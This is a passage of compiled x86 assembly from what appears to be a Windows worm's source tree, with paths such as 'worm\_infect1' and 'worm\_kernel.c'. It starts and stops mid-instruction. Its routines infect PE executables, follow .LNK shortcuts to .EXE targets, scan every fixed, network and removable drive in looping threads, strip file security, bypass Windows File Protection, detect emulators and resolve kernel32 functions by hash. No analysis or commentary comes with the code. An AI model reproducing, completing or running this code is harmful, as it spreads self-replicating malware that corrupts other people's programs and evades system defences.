%eax,-36(%ebp) .line 966 movl -16(%ebp),%eax addl $80,%eax movl %edi,%edx addl %edx,(,%eax) .line 967 movl %edi,%eax addl %eax,8(%esi) .line 969 pushl -456(%ebp) pushl -36(%ebp) call _align movl %eax,-36(%ebp) .line 970 pushl -456(%ebp) movl -16(%ebp),%eax movl %eax,-250616(%ebp) pushl 80(%eax) call _align movl -250616(%ebp),%edx movl %eax,80(%edx) .line 1000 pushl -28(%ebp) pushl -250564(%ebp) leal -128(%ebp),%eax pushl %eax movl -164(%ebp),%eax addl %ebx,%eax pushl %eax call _WriteOrGetLen_C_CODE addl $40,%esp .line 1004 movl -250536(%ebp),%eax addl -196(%ebp),%eax movl %eax,-152(%ebp) .line 1011 andl $0,-156(%ebp) .line 1018 movl %eax,-4(%ebp) jmp _$870 _$867: .line 1021 movl -4(%ebp),%eax movzbl (%ebx,%eax),%eax movzbl -17(%ebp),%edx xorl %edx,%eax movb %al,-250617(%ebp) .line 1022 movl -4(%ebp),%eax incl %eax movzbl (%ebx,%eax),%eax movzbl -17(%ebp),%edx xorl %edx,%eax movb %al,-250618(%ebp) .line 1023 movl -4(%ebp),%eax addl $2,%eax movzbl (%ebx,%eax),%eax movzbl -17(%ebp),%edx xorl %edx,%eax movb %al,-250619(%ebp) .line 1024 movl -4(%ebp),%eax addl $7,%eax movzbl (%ebx,%eax),%eax movzbl -17(%ebp),%edx xorl %edx,%eax movb %al,-250620(%ebp) .line 1026 movzbl -250617(%ebp),%eax cmpl $201,%eax jne _$871 cmpb $97,-250618(%ebp) jne _$871 movzbl -250619(%ebp),%eax cmpl $233,%eax jne _$871 movzbl -250620(%ebp),%eax cmpl $195,%eax jne _$871 .line 1027 movl -4(%ebp),%eax addl $2,%eax movl %eax,-156(%ebp) jmp _$869 _$871: .line 1028 .line 1018 incl -4(%ebp) _$870: movl -152(%ebp),%eax addl -132(%ebp),%eax cmpl %eax,-4(%ebp) jb _$867 _$869: .line 1030 cmpl $0,-156(%ebp) je _$709 _$873: .line 1036 movl -116(%ebp),%eax addl -156(%ebp),%eax subl -152(%ebp),%eax movl %eax,-250528(%ebp) .line 1037 movl -16(%ebp),%eax movl 52(%eax),%eax addl -28(%ebp),%eax movl %eax,-250520(%ebp) .line 1042 movl $0xfffffffe,%ecx subl -250528(%ebp),%ecx addl %eax,%ecx subl $3,%ecx movl %ecx,-250532(%ebp) .line 1048 movl -156(%ebp),%eax incl %eax movl %ecx,%edx movl %edx,(%ebx,%eax) .line 1050 movl -156(%ebp),%eax incl %eax addl %ebx,%eax movzbl (,%eax),%edx movzbl -17(%ebp),%ecx xorl %ecx,%edx movb %dl,(,%eax) .line 1051 movl -156(%ebp),%eax addl $2,%eax addl %ebx,%eax movzbl (,%eax),%edx movzbl -17(%ebp),%ecx xorl %ecx,%edx movb %dl,(,%eax) .line 1052 movl -156(%ebp),%eax addl $3,%eax addl %ebx,%eax movzbl (,%eax),%edx movzbl -17(%ebp),%ecx xorl %ecx,%edx movb %dl,(,%eax) .line 1053 movl -156(%ebp),%eax addl $4,%eax addl %ebx,%eax movzbl (,%eax),%edx movzbl -17(%ebp),%ecx xorl %ecx,%edx movb %dl,(,%eax) .line 1059 pushl -168(%ebp) call *__CloseHandle .line 1061 pushl 8(%ebp) leal -451(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp .line 1062 movl 8(%ebp),%eax movl %eax,%ecx orl $-1,%eax _$strlen4: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen4 movl %eax,-250512(%ebp) .line 1064 movl -250512(%ebp),%eax subl $3,%eax movb $118,-451(%ebp,%eax) .line 1065 movl -250512(%ebp),%eax subl $2,%eax movb $105,-451(%ebp,%eax) .line 1066 movl -250512(%ebp),%eax subl $1,%eax movb $114,-451(%ebp,%eax) .line 1068 pushl $0 pushl $0 pushl $2 pushl $0 pushl $0 pushl $0x40000000 leal -451(%ebp),%eax pushl %eax call *__CreateFile movl %eax,-168(%ebp) .line 1069 pushl $0 leal -4(%ebp),%eax pushl %eax pushl -144(%ebp) pushl %ebx pushl -168(%ebp) call *__WriteFile .line 1079 pushl -168(%ebp) call *__CloseHandle .line 1080 pushl %ebx call *__LocalFree .line 1090 pushl $0 pushl 8(%ebp) leal -451(%ebp),%eax pushl %eax call *__CopyFile .line 1091 leal -451(%ebp),%eax pushl %eax call *__DeleteFile .line 1094 movl $1,%eax jmp _$701 _$709: .line 1103 pushl -168(%ebp) call *__CloseHandle .line 1104 or %ebx,%ebx je _$878 pushl %ebx call *__LocalFree _$878: .line 1105 xor %eax,%eax _$701: .line 1106 popl %edi popl %esi popl %ebx leave ret _$963: .size _InfectPE,_$963-_InfectPE .globl _InfectPE .file "e:\projects\progs\petrosjan\bjwj\worm\_infect1\_getdll.c" _$M150: .type _GetDll,function _GetDll: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %ebx pushl %esi pushl %edi .line 9 .line 10 movl $0,-4(%ebp) .line 11 movl _szinfcode,%edi addl _upx_sect,%edi movl %edi,-8(%ebp) .line 13 movl -8(%ebp),%edi movzbl 1(%edi),%edi sall $12,%edi addl %edi,-4(%ebp) .line 14 movl -8(%ebp),%edi movzbl 2(%edi),%edi sall $9,%edi addl %edi,-4(%ebp) .line 16 movl 8(%ebp),%edi movl -4(%ebp),%esi movl %esi,(,%edi) .line 17 movl -8(%ebp),%edi movb 64(%edi),%bl movb %bl,_VIRULENCE .line 24 movl -8(%ebp),%eax _$964: .line 25 popl %edi popl %esi popl %ebx leave ret _$965: .size _GetDll,_$965-_GetDll .globl _GetDll .type _GetVictimEP,function _GetVictimEP: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %edi .line 31 .line 32 movl _szinfcode,%edi addl _upx_sect,%edi movl %edi,-4(%ebp) .line 33 movl -4(%ebp),%edi movl 65(%edi),%edi movl %edi,-8(%ebp) .line 35 movl -8(%ebp),%eax _$966: .line 36 popl %edi leave ret _$967: .size _GetVictimEP,_$967-_GetVictimEP .globl _GetVictimEP .file "e:\projects\progs\petrosjan\bjwj\worm\_infect2\_softfind.c" _$M151: ; sf --> %edi .type _softfind_CSIDL,function _softfind_CSIDL: pushl %ebp movl %esp,%ebp subl $260,%esp pushl %edi .line 3 .line 7 leal -260(%ebp),%eax pushl %eax pushl $0 pushl $0 pushl 8(%ebp) pushl $0 call *__SHGetFolderPath movl %eax,%edi .line 8 or %edi,%edi jne _$968 _$969: .line 10 pushl $_$971 leal -260(%ebp),%eax pushl %eax call *__strcat .line 16 pushl $1 pushl $67 leal -260(%ebp),%eax pushl %eax call _rscan addl $20,%esp _$968: .line 17 popl %edi leave ret _$974: .size _softfind_CSIDL,_$974-_softfind_CSIDL .globl _softfind_CSIDL .type _softfind,function _softfind: .line 20 .line 21 pushl $2 call _softfind_CSIDL .line 22 pushl $0 call _softfind_CSIDL addl $8,%esp .line 23 ret _$976: .size _softfind,_$976-_softfind .globl _softfind .file "e:\projects\progs\petrosjan\bjwj\worm\_infect2\_fileown.c" _$M152: ; fname --> %edi .type _UnprotectFile,function _UnprotectFile: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %edi .line 7 movl 8(%ebp),%edi .line 10 call _isSystemNT or %eax,%eax je _$977 .line 11 _$978: .line 13 pushl _sdsc2 pushl $1 pushl %edi call *__SetFileSecurity movl %eax,-4(%ebp) .line 14 pushl _sdsc2 pushl $4 pushl %edi call *__SetFileSecurity movl %eax,-8(%ebp) _$977: .line 19 popl %edi leave ret _$983: .size _UnprotectFile,_$983-_UnprotectFile .globl _UnprotectFile .file "e:\projects\progs\petrosjan\bjwj\worm\_infect2\_rscan.c" _$M153: .type _rscanSehHandler,function _rscanSehHandler: .line 16 .byte 0x55 .byte 0x89,0xE5 .byte 0x60 .byte 0x8B,0x75,0x10 movl $_rscanSehSafeCode,%eax .byte 0x89,0x86,0xB8,0,0,0 .byte 0x8B,0x45,0x0C .byte 0x89,0x86,0xC4,0,0,0 .byte 0x61 .byte 0x89,0xEC .byte 0x5D .byte 0x31,0xC0 .byte 0xC3 .line 73 .line 75 ret _$985: .size _rscanSehHandler,_$985-_rscanSehHandler .globl _rscanSehHandler .type _rscanSehSafeCode,function _rscanSehSafeCode: .line 80 .line 81 pushl $1 call *__ExitThread .line 82 ret _$987: .size _rscanSehSafeCode,_$987-_rscanSehSafeCode .globl _rscanSehSafeCode ; l --> %edi ; l --> %edi ; r --> %esi .type _ProcessLNK,function _ProcessLNK: pushl %ebp movl %esp,%ebp .extern __stackprobe movl $73996,%eax call __stackprobe pushl %ebx pushl %esi pushl %edi .line 87 .line 97 pushl 8(%ebp) leal -73988(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp .line 98 leal -73988(%ebp),%ecx orl $-1,%eax _$strlen5: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen5 movl %eax,%ebx subl $1,%ebx movb $0,-73988(%ebp,%ebx) .line 101 pushl $0 pushl $0 pushl $3 pushl $0 pushl $0 pushl $0x80000001 leal -73988(%ebp),%eax pushl %eax call *__CreateFile movl %eax,%edi .line 102 cmpl $0xffffffff,%edi je _$988 _$989: .line 105 pushl $0 leal -73996(%ebp),%eax pushl %eax pushl $8191 leal -8191(%ebp),%eax pushl %eax pushl %edi call *__ReadFile movl %eax,%esi .line 106 pushl %edi call *__CloseHandle .line 107 or %esi,%esi je _$988 _$991: .line 109 cmpb $76,-8191(%ebp) jne _$988 _$993: .line 111 movzbl -8115(%ebp),%ebx movzbl -8114(%ebp),%edx movl %dx,%si movzwl %si,%esi sall $8,%esi orl %esi,%ebx movl %bx,%si movw %si,-73990(%ebp) .line 112 movzwl -73990(%ebp),%eax addl $78,%eax movw %ax,-73728(%ebp) .line 114 movzwl -73728(%ebp),%eax cmpb $0,-8191(%ebp,%eax) je _$988 _$997: .line 115 movzwl -73728(%ebp),%eax cmpb $1,-8183(%ebp,%eax) jne _$988 _$999: .line 117 movzwl -73728(%ebp),%eax movzbl -8175(%ebp,%eax),%edx movzbl -8174(%ebp,%eax),%ebx movl %bx,%si movzwl %si,%esi sall $8,%esi movl %edx,%ebx orl %esi,%ebx movl %bx,%si movzwl %si,%esi movl %eax,%ebx addl %esi,%ebx movl %bx,%si movw %si,-73992(%ebp) .line 119 movzwl -73992(%ebp),%eax leal -8191(%ebp,%eax),%eax pushl %eax leal -73726(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp .line 120 leal -73726(%ebp),%ecx orl $-1,%eax _$strlen6: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen6 movl %eax,%edi .line 122 movl %edi,%eax subl $4,%eax cmpb $46,-73726(%ebp,%eax) jne _$1008 movl %edi,%eax subl $3,%eax movsbl -73726(%ebp,%eax),%eax pushl %eax call *___toupper addl $4,%esp cmpl $69,%eax jne _$1008 movl %edi,%esi subl $2,%esi movsbl -73726(%ebp,%esi),%ebx pushl %ebx call *___toupper addl $4,%esp cmpl $88,%eax jne _$1008 movl %edi,%esi subl $1,%esi movsbl -73726(%ebp,%esi),%ebx pushl %ebx call *___toupper addl $4,%esp cmpl $69,%eax je _$1004 _$1008: .line 123 jmp _$988 _$1004: .line 129 pushl $_$971 leal -73726(%ebp),%eax pushl %eax call *__strcat .line 130 pushl $1 pushl $0 leal -73726(%ebp),%eax pushl %eax call _ProcessEXE addl $20,%esp _$988: .line 131 popl %edi popl %esi popl %ebx leave ret _$1018: .size _ProcessLNK,_$1018-_ProcessLNK .globl _ProcessLNK ; q --> %edi ; ires --> %esi ; st --> %ebx .type _ProcessEXE,function _ProcessEXE: pushl %ebp movl %esp,%ebp subl $800,%esp pushl %ebx pushl %esi pushl %edi .line 138 movl 8(%ebp),%ebx .line 145 pushl %ebx leal -790(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp .line 146 cmpl $1,16(%ebp) jne _$1020 leal -790(%ebp),%ecx orl $-1,%eax _$strlen7: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen7 movl %eax,%edx subl $1,%edx movb $0,-790(%ebp,%edx) _$1020: .line 152 movb _VIRULENCE,%al cmpb $100,%al jbe _$1022 cmpl $1,16(%ebp) jne _$1022 .line 154 xor %esi,%esi .line 155 pushl $1 pushl $_$1026 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1024 xor %esi,%esi inc %esi _$1024: .line 156 pushl $1 pushl $_$1029 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1027 xor %esi,%esi inc %esi _$1027: .line 157 pushl $1 pushl $_$1032 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1030 xor %esi,%esi inc %esi _$1030: .line 158 pushl $1 pushl $_$1035 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1033 xor %esi,%esi inc %esi _$1033: .line 159 pushl $1 pushl $_$1038 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1036 xor %esi,%esi inc %esi _$1036: .line 160 pushl $1 pushl $_$1041 pushl %ebx call _serstr addl $12,%esp cmpl $65535,%eax je _$1039 xor %esi,%esi inc %esi _$1039: .line 166 or %esi,%esi jne _$1022 .line 167 xor %eax,%eax jmp _$1019 .line 168 _$1022: .line 171 pushl 12(%ebp) call *___sleep popl %ecx .line 174 cmpl $5,_MAJORW ja _$1046 _$1044: .line 183 xor %edi,%edi _$1047: .line 185 movl %edi,%edx shll $1,%edx movl %edx,-800(%ebp) .line 187 movl %edx,%eax movb -790(%ebp,%edi),%dl movb %dl,-530(%ebp,%eax) .line 188 movl -800(%ebp),%eax incl %eax movb $0,-530(%ebp,%eax) .line 190 cmpb $0,-790(%ebp,%edi) jne _$1051 .line 192 movl -800(%ebp),%eax addl $2,%eax movb $0,-530(%ebp,%eax) .line 193 movl -800(%ebp),%eax addl $3,%eax movb $0,-530(%ebp,%eax) .line 194 jmp _$1049 _$1051: .line 196 .line 183 incl %edi jmp _$1047 _$1049: .line 200 cmpl $0,__SFC je _$1046 _$1053: .line 204 leal -530(%ebp),%eax pushl %eax pushl $0 call *__SfcIsFileProtected movl %eax,-796(%ebp) .line 206 test %eax,%eax je _$1046 _$1055: .line 214 cmpl $0,__SFC_OS je _$1061 .line 222 pushl $0xffffffff leal -530(%ebp),%eax pushl %eax pushl $0 call *__SfcFileException movl %eax,-800(%ebp) .line 228 test %eax,%eax je _$1046 xor %esi,%esi jmp _$1061 .line 229 .line 234 _$1046: .line 236 leal -790(%ebp),%eax pushl %eax call _InfectPE popl %ecx movl %eax,%esi _$1061: .line 245 movl %esi,%eax _$1019: .line 246 popl %edi popl %esi popl %ebx leave ret _$1072: .size _ProcessEXE,_$1072-_ProcessEXE .globl _ProcessEXE ; bl --> %edi ; i --> %esi ; st --> %ebx .type _rscan,function _rscan: pushl %ebp movl %esp,%ebp subl $604,%esp pushl %ebx pushl %esi pushl %edi .line 251 movl 8(%ebp),%ebx .line 258 xor %edi,%edi inc %edi .line 261 cmpl $0,16(%ebp) je _$1074 andl $0,-584(%ebp) jmp _$1076 _$1074: .line 263 movl 12(%ebp),%edx cmpl $0,_drvl(,%edx,4) jne _$1077 .line 268 pushl %esi call *__FindClose .line 269 pushl $1 call *__ExitThread _$1077: .line 272 movl $100,-584(%ebp) .line 274 pushl 12(%ebp) pushl $_$1079 leal -598(%ebp),%eax pushl %eax call *__sprintf addl $12,%esp .line 275 leal -598(%ebp),%eax pushl %eax call *__GetDriveType cmpl $3,%eax jne _$1080 movl $300,-584(%ebp) _$1080: .line 277 movzbl _VIRULENCE,%eax cmpb $100,%al jbe _$1076 movl $30,-584(%ebp) .line 279 _$1076: .line 281 xor %edi,%edi inc %edi .line 283 pushl %ebx pushl $_$1084 leal -578(%ebp),%eax pushl %eax call *__sprintf addl $12,%esp .line 284 movl %ebx,%ecx orl $-1,%eax _$strlen8: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen8 movl %eax,-588(%ebp) .line 290 movl -588(%ebp),%eax subl $5,%eax cmpb $46,(%ebx,%eax) jne _$1085 .line 292 movl -588(%ebp),%eax subl $4,%eax movsbl (%ebx,%eax),%eax pushl %eax call *___toupper addl $4,%esp movl %ax,%dx movb %dl,-599(%ebp) .line 293 movl -588(%ebp),%eax subl $3,%eax movsbl (%ebx,%eax),%eax pushl %eax call *___toupper addl $4,%esp movl %ax,%dx movb %dl,-600(%ebp) .line 294 movl -588(%ebp),%eax subl $2,%eax movsbl (%ebx,%eax),%eax pushl %eax call *___toupper addl $4,%esp movl %ax,%dx movb %dl,-601(%ebp) .line 296 cmpb $76,-599(%ebp) jne _$1087 cmpb $78,-600(%ebp) jne _$1087 cmpb $75,-601(%ebp) jne _$1087 pushl %ebx call _ProcessLNK addl $4,%esp _$1087: .line 297 cmpb $69,-599(%ebp) jne _$1085 cmpb $88,-600(%ebp) jne _$1085 cmpb $69,-601(%ebp) jne _$1085 pushl $1 pushl -584(%ebp) pushl %ebx call _ProcessEXE addl $12,%esp .line 298 _$1085: .line 300 leal -318(%ebp),%eax pushl %eax leal -578(%ebp),%eax pushl %eax call *__FindFirstFile movl %eax,%esi .line 301 cmpl $0xffffffff,%esi je _$1073 _$1091: .line 303 cmpb $46,-274(%ebp) je _$1099 leal -274(%ebp),%eax pushl %eax pushl %ebx pushl $_$1096 leal -578(%ebp),%eax pushl %eax call *__sprintf pushl 16(%ebp) pushl 12(%ebp) leal -578(%ebp),%eax pushl %eax call _rscan addl $28,%esp .line 305 jmp _$1099 _$1098: .line 307 leal -318(%ebp),%eax pushl %eax pushl %esi call *__FindNextFile movl %eax,%edi .line 308 or %edi,%edi jne _$1101 .line 311 movl -584(%ebp),%eax addl _sdelay,%eax pushl %eax call *___sleep popl %ecx .line 314 pushl %esi call *__FindClose .line 315 jmp _$1073 _$1101: .line 317 cmpb $46,-274(%ebp) je _$1099 .line 318 leal -274(%ebp),%eax pushl %eax pushl %ebx pushl $_$1096 leal -578(%ebp),%eax pushl %eax call *__sprintf pushl 16(%ebp) pushl 12(%ebp) leal -578(%ebp),%eax pushl %eax call _rscan addl $28,%esp .line 319 _$1099: .line 305 or %edi,%edi jne _$1098 .line 321 _$1073: popl %edi popl %esi popl %ebx leave ret _$1114: .size _rscan,_$1114-_rscan .globl _rscan ; dr --> %edi .type _InfectDrive@4,function _InfectDrive@4: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %edi .line 326 movl 8(%ebp),%edi pushl $_rscanSehHandler .byte 0x67,0x64,0xFF,0x36,0x00,0x00 .byte 0x67,0x64,0x89,0x26,0x00,0x00 .line 347 pushl (,%edi) pushl $_$1079 leal -10(%ebp),%eax pushl %eax call *__sprintf addl $12,%esp _$1116: .line 354 pushl $0 pushl (,%edi) leal -10(%ebp),%eax pushl %eax call _rscan .line 355 pushl $0 call *___sleep addl $16,%esp .line 362 jmp _$1116 .line 363 popl %edi leave ret $4 _$1117: .size _InfectDrive@4,_$1117-_InfectDrive@4 .globl _InfectDrive@4 ; dr --> %edi .type _InfectAllDrives@4,function _InfectAllDrives@4: pushl %ebp movl %esp,%ebp subl $40,%esp pushl %esi pushl %edi .line 369 .line 380 movzbl _VIRULENCE,%eax cmpl $150,%eax jle _$1119 xor %eax,%eax jmp _$1118 _$1119: .line 382 movl $67,%edi jmp _$1124 _$1121: andl $0,_htrd(,%edi,4) incl %edi _$1124: cmpl $90,%edi jbe _$1121 .line 386 _$1125: .line 387 movl $67,%edi jmp _$1129 _$1126: .line 394 andl $0,-20(%ebp) .line 396 pushl %edi pushl $_$1079 leal -14(%ebp),%eax pushl %eax call *__sprintf .line 397 pushl $0 call *___sleep addl $16,%esp .line 400 cmpl $0,_htrd(,%edi,4) je _$1132 _$1130: .line 402 leal -20(%ebp),%eax pushl %eax pushl _htrd(,%edi,4) call *__GetExitCodeThread .line 403 cmpl $259,-20(%ebp) je _$1132 _$1133: .line 409 pushl _htrd(,%edi,4) call *__CloseHandle andl $0,_htrd(,%edi,4) _$1132: .line 413 leal -14(%ebp),%eax pushl %eax call *__GetDriveType movl %eax,-4(%ebp) .line 415 cmpl $3,%eax je _$1135 cmpl $4,%eax je _$1135 cmpl $2,%eax je _$1135 .line 417 cmpl $0,_htrd(,%edi,4) je _$1127 .line 418 andl $0,_drvl(,%edi,4) .line 419 jmp _$1127 _$1135: .line 422 pushl $1 call *__SetErrorMode .line 426 leal -40(%ebp),%eax pushl %eax leal -36(%ebp),%eax pushl %eax leal -32(%ebp),%eax pushl %eax leal -28(%ebp),%eax pushl %eax leal -14(%ebp),%eax pushl %eax call *__GetDiskFreeSpace or %eax,%eax jne _$1139 .line 428 cmpl %eax,_htrd(,%edi,4) je _$1127 .line 429 andl $0,_drvl(,%edi,4) .line 430 jmp _$1127 _$1139: .line 433 cmpl $0,_htrd(,%edi,4) jne _$1127 _$1143: .line 435 movzbl _VIRULENCE,%eax cmpb $50,%al jbe _$1145 cmpl $3,-4(%ebp) jne _$1127 _$1145: .line 438 movl %edi,_drvl(,%edi,4) .line 439 leal -24(%ebp),%eax pushl %eax pushl $0 leal _drvl(,%edi,4),%esi pushl %esi pushl $_InfectDrive@4 pushl $0 pushl $0 call *__CreateThread movl %eax,_htrd(,%edi,4) _$1127: .line 387 incl %edi _$1129: cmpl $90,%edi jbe _$1126 .line 444 pushl $0 call *___sleep popl %ecx .line 445 jmp _$1125 _$1118: .line 446 popl %edi popl %esi leave ret $4 _$1153: .size _InfectAllDrives@4,_$1153-_InfectAllDrives@4 .globl _InfectAllDrives@4 .file "e:\projects\progs\petrosjan\bjwj\worm\_kernel.c" _$M154: .type _IsStrKERNEL32,function _IsStrKERNEL32: pushl %ebp movl %esp,%ebp pushl %ebx pushl %edi .line 12 .line 14 movl 8(%ebp),%edi movsbl (,%edi),%ebx cmpl $75,%ebx je _$1155 cmpl $107,%ebx je _$1155 movl $0,%eax jmp _$1154 _$1155: .line 15 movl 8(%ebp),%edi movsbl 1(%edi),%ebx cmpl $69,%ebx je _$1157 cmpl $101,%ebx je _$1157 movl $0,%eax jmp _$1154 _$1157: .line 16 movl 8(%ebp),%edi movsbl 2(%edi),%ebx cmpl $82,%ebx je _$1159 cmpl $114,%ebx je _$1159 movl $0,%eax jmp _$1154 _$1159: .line 17 movl 8(%ebp),%edi movsbl 5(%edi),%ebx cmpl $76,%ebx je _$1161 cmpl $108,%ebx je _$1161 movl $0,%eax jmp _$1154 _$1161: .line 18 movl 8(%ebp),%edi cmpb $51,6(%edi) je _$1163 movl $0,%eax jmp _$1154 _$1163: .line 21 movl $1,%eax _$1154: .line 22 popl %edi popl %ebx popl %ebp ret _$1169: .size _IsStrKERNEL32,_$1169-_IsStrKERNEL32 .globl _IsStrKERNEL32 .type _GetFuncAddr,function _GetFuncAddr: pushl %ebp movl %esp,%ebp subl $16,%esp pushl %esi pushl %edi .line 28 .line 32 movl $0,-4(%ebp) .line 33 movl 8(%ebp),%edi movl %edi,__KERNEL32 .line 35 movl 8(%ebp),%edi movl 12(%ebp),%esi shll $1,%esi addl %esi,%edi movl 16(%ebp),%esi addl 36(%esi),%edi movl %edi,-8(%ebp) .line 36 movl -8(%ebp),%edi movzwl (,%edi),%edi movl %edi,-16(%ebp) .line 38 movl 8(%ebp),%edi movl -16(%ebp),%esi shll $2,%esi addl %esi,%edi movl 16(%ebp),%esi addl 28(%esi),%edi movl %edi,-12(%ebp) .line 39 movl 8(%ebp),%edi movl -12(%ebp),%esi addl (,%esi),%edi movl %edi,-4(%ebp) .line 45 movl -4(%ebp),%eax _$1170: .line 46 popl %edi popl %esi leave ret _$1171: .size _GetFuncAddr,_$1171-_GetFuncAddr .globl _GetFuncAddr .type _CheckFunc,function _CheckFunc: pushl %ebp movl %esp,%ebp subl $28,%esp pushl %ebx pushl %esi pushl %edi .line 52 .line 53 movl 8(%ebp),%edi leal (,%edi),%ecx orl $-1,%eax _$strlen9: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen9 movl %eax,-8(%ebp) .line 54 movl $0,-12(%ebp) .line 55 movl $0,-16(%ebp) .line 58 movl $0,-4(%ebp) jmp _$1176 _$1173: .line 59 movl -4(%ebp),%edi movl 8(%ebp),%esi movzbl (%esi,%edi),%ebx addl %ebx,-12(%ebp) movl -4(%ebp),%edi shrl $1,%edi movl 8(%ebp),%esi movzbl (%esi,%edi),%ebx addl %ebx,-16(%ebp) _$1174: .line 58 incl -4(%ebp) _$1176: movl -8(%ebp),%edi cmpl %edi,-4(%ebp) jb _$1173 .line 61 cmpl $41,-8(%ebp) jbe _$1177 jmp _$1172 _$1177: .line 62 movl $0x5f5e100,%eax mull -8(%ebp) movl %eax,-24(%ebp) movl $10000,%eax mull -12(%ebp) movl %eax,-28(%ebp) movl -24(%ebp),%edi movl -28(%ebp),%esi addl -28(%ebp),%edi addl -16(%ebp),%edi movl %edi,-20(%ebp) .line 69 cmpl $0x5454284e,-20(%ebp) jne _$1179 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__VirtualProtect _$1179: .line 70 cmpl $0x483e47c0,-20(%ebp) jne _$1181 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__GetTickCount call _GetTicks1 pushl $2 call _AntiEmulator addl $4,%esp movl %eax,_EMUL _$1181: .line 71 cmpl $0x786b35a0,-20(%ebp) jne _$1183 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__LeaveCriticalSection _$1183: .line 72 cmpl $0x786dcdd2,-20(%ebp) jne _$1185 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__EnterCriticalSection _$1185: .line 73 cmpl $0x968c6217,-20(%ebp) jne _$1187 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__InitializeCriticalSection _$1187: .line 74 cmpl $0x54484108,-20(%ebp) jne _$1189 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__GetProcAddress _$1189: .line 75 cmpl $0x483d0f68,-20(%ebp) jne _$1191 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__CreateThread _$1191: .line 78 _$1172: popl %edi popl %esi popl %ebx leave ret _$1204: .size _CheckFunc,_$1204-_CheckFunc .globl _CheckFunc .type _CheckKernel,function _CheckKernel: pushl %ebp movl %esp,%ebp subl $36,%esp pushl %esi pushl %edi .line 84 .line 94 movl 8(%ebp),%edi shrl $16,%edi movl %edi,-8(%ebp) .line 97 shll $16,-8(%ebp) .line 109 leal -20(%ebp),%edi pushl %edi pushl $4096 pushl 8(%ebp) pushl -8(%ebp) call _FindPEheader addl $16,%esp movl %eax,-8(%ebp) .line 117 movl -20(%ebp),%edi movl 120(%edi),%edi movl %edi,-24(%ebp) .line 119 movl -8(%ebp),%edi addl -24(%ebp),%edi movl %edi,-12(%ebp) .line 121 movl -8(%ebp),%edi movl -12(%ebp),%esi addl 12(%esi),%edi movl %edi,-28(%ebp) .line 130 pushl -28(%ebp) call _IsStrKERNEL32 addl $4,%esp cmpl $0,%eax jne _$1206 jmp _$1205 _$1206: .line 134 movl $0,-4(%ebp) jmp _$1211 _$1208: .line 138 movl -8(%ebp),%edi movl -4(%ebp),%esi shll $2,%esi addl %esi,%edi movl -12(%ebp),%esi addl 32(%esi),%edi movl %edi,-16(%ebp) .line 139 movl -8(%ebp),%edi movl -16(%ebp),%esi addl (,%esi),%edi movl %edi,-36(%ebp) .line 145 pushl -12(%ebp) pushl -4(%ebp) pushl -8(%ebp) pushl -36(%ebp) call _CheckFunc addl $16,%esp _$1209: .line 134 incl -4(%ebp) _$1211: movl -12(%ebp),%edi movl 24(%edi),%edi cmpl %edi,-4(%ebp) jb _$1208 .line 149 movl __KERNEL32,%eax mull _EMUL movl %eax,-36(%ebp) movl -36(%ebp),%edi movl %edi,__KERNEL32 _$1205: .line 150 popl %edi popl %esi leave ret _$1216: .size _CheckKernel,_$1216-_CheckKernel .globl _CheckKernel .type _ProcessDLLimports,function _ProcessDLLimports: pushl %ebp movl %esp,%ebp subl $20,%esp pushl %esi pushl %edi .line 156 .line 157 movl 8(%ebp),%edi movl 12(%ebp),%esi addl 12(%esi),%edi movl %edi,-4(%ebp) .line 159 movl $0,_EMUL .line 165 pushl -4(%ebp) call _IsStrKERNEL32 addl $4,%esp cmpl $1,%eax jne _$1218 .line 168 movl $0,-12(%ebp) .line 171 movl 8(%ebp),%edi movl 12(%ebp),%esi addl 16(%esi),%edi movl %edi,-20(%ebp) _$1220: .line 176 movl -20(%ebp),%edi addl -12(%ebp),%edi movl %edi,-16(%ebp) .line 177 movl -16(%ebp),%edi movl (,%edi),%edi movl %edi,-8(%ebp) .line 178 cmpl $0,-8(%ebp) jne _$1223 jmp _$1222 _$1223: .line 179 pushl -8(%ebp) call _CheckKernel addl $4,%esp .line 180 cmpl $0,__KERNEL32 je _$1225 jmp _$1217 _$1225: .line 181 addl $4,-12(%ebp) _$1221: .line 174 jmp _$1220 _$1222: .line 184 _$1218: .line 185 _$1217: popl %edi popl %esi leave ret _$1228: .size _ProcessDLLimports,_$1228-_ProcessDLLimports .globl _ProcessDLLimports .type _FindPEheader,function _FindPEheader: pushl %ebp movl %esp,%ebp subl $16,%esp pushl %esi pushl %edi .line 192 _$1230: .line 201 movl 8(%ebp),%edi movl %edi,-8(%ebp) .line 203 movl -8(%ebp),%edi cmpw $23117,(,%edi) je _$1231 jmp _$1233 _$1231: .line 204 movl 8(%ebp),%edi movl %edi,%esi shrl $16,%esi shll $16,%esi cmpl %esi,%edi je _$1234 jmp _$1233 _$1234: .line 212 movl 